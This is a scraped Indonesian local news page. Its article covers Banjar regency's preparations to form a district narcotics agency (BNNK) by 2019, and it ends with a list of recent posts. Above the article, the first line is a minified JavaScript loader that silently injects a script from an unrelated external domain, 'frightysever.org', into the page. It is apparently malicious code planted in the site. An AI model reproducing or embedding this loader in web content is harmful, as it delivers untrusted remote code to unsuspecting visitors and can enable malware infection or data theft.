(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Penuhi Sejumlah Persyaratan, 2019 Diharapkan BNNK Banjar Sudah Terbentuk


MARTAPURA,  Upaya Pemkab Banjar membentuk Badan Narkotika Nasional Kabupaten (BNNK) akan  terwujud pada 2019 nanti. Hal ini sebagaimana tercetus pada rapat dengar pendapat oleh Komisi I DPRD Banjar tentang tahapan pembentukan BNNK Kabupaten Banjar, Kamis (21/6).

Ketua Komisi I DPRD Banjar, Mulkan S.Sos mengatakan, rapat koordinasi yang diadakan melibatkan Asisten I Setda Banjar, Badan Kesbangpol, BPKAD, kabag Organisasi Setda Banjar serta BKDPSDM Kabupaten Banjar. “Tujuan rapat ini untuk memantapkan proses pembentukan BNN yang selanjutnya nanti akan didirikan di Kabupaten Banjar,” jelasnya.

Menurutnya dalam pembentukan BNNK ini, yang memutuskan adalah Kementerian Pendayagunaan Aparatur Negara dan Reformasi Birokrasi Republik Indonesia (Kemenpan RB). Dimana prosesnya harus dilengkapi dengan berbagai persyaratan. “Pembentukan BNNK sekarang tidak sesederhana pembentukan BNNK seperti tempo dulu,  sebelum menjadi instansi vertikal,” ujarnya.

Mulkan menjelaskan, ada beberapa persiapan juga yang harus dipenuhi oleh pemerintah daerah. Seperti menyiapkan personil, tempat sementara, dan tanah yang dihibahkan ke pihak BNN pusat untuk kemudian dibangunkan BNNK.

“Kalau untuk lahan sudah di inventarisir, oleh karena itu hari ini adalah bagian dari kordinasi kita terkait hal-hal yang harus kita penuhi berkenaan dengan focus kita untuk membentuk BNNK di Kabupaten Banjar ini,” ujarnya.

Sementara itu masih di tempat yang sama, Badan Kesatuan Bangsa Dan Politik (Kesbangpol) Kabupaten Banjar, Drs H Sofwan Soeryadi, M.AP menjelaskan, keinginan untuk membangun BNNK ini sudah lama. Mengingat secara legal undang-undang sudah ada peraturan mengenai hal ini.

“Namun karen BNNK merupakan organisasi yang memililki struktur vertikal dari tingkat pusat dan bukan dari daerah makanya harus disusun secara benar baik persyaratan dan ketentuan pembentukan dari BNN itu tersebut,” sahutnya.

Jelasnya, BNNK itu perjenjang dibentuk dari pusat, kemudian ada perwakilan BNN Provinsi, dan di Kabupaten. Maka jika sudah dibentuk BNNK, ketentuan penanganan pencegahan pemberantasan narkoba ini,  menjadi semacam prioritas. “Apalagi Presiden sekarang lagi gencar-gencarnya mengatakan darurat narkoba, maka dari itu daerah harus menyikapinya,” ungkap Sofwan.

Sofwan Soeryadi  juga menjelaskan, dalam pembentukannya BNNK tersebut secara prosedural memang ada beberapa persyaratan dan beberapa rekomendasi yang harus disiapkan oleh daerah. “Untuk itu kita, sudah mulai persiapkan seperti beberapa instansi yang terlibat di sana seperti BKD, kuangan dan aset juga. Kita sebagai Kesbangpol hanya mengkoordinirnasikan ke beberapa yang terkait,” ujarnya.

Masih menurut Sofwan dari perkembangan pembentukan BNNK tersebut pihaknya sudah membuat masa akademik yang disampaikan ke Provinsi dan oleh Provinsi diminta update data mengenai adahal yang harus di update. “Kita kordinasikan keKapolres sudah selesai, kita serahkan keprovensi dan sekarang tinggal menunggu proses, petunjuk dan proyeksi dari Provinsi,” tegasnya.

Ketika ditanya mengenai kendala yang dihadapai mengingat pembentukan BNN yang sebenarnya sudah diwacanakan sejak dua tahun yang lalu, Sofwan Soeryadi mengatakan untuk masalah kendala selama ini relative tidak ada hanya saja mungkin secara teknis.

“Namun walaupun BNNK belum terbentuk, penanganan pemberantasan Narkoba tetap dilakukan secara kelembagaan yang dikordinasikan oleh Kesbangpol dan beberapa instansi yang terkait lainnnya, dan mudah-mudahan 2019 BNN di Kabupaten Banjar Bisa terbentuk,” pungkasnya. (rendy)

Reporter:Rendy
Editor: Cell

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

11 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

13 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

14 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

15 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

2 hari ago

This website uses cookies.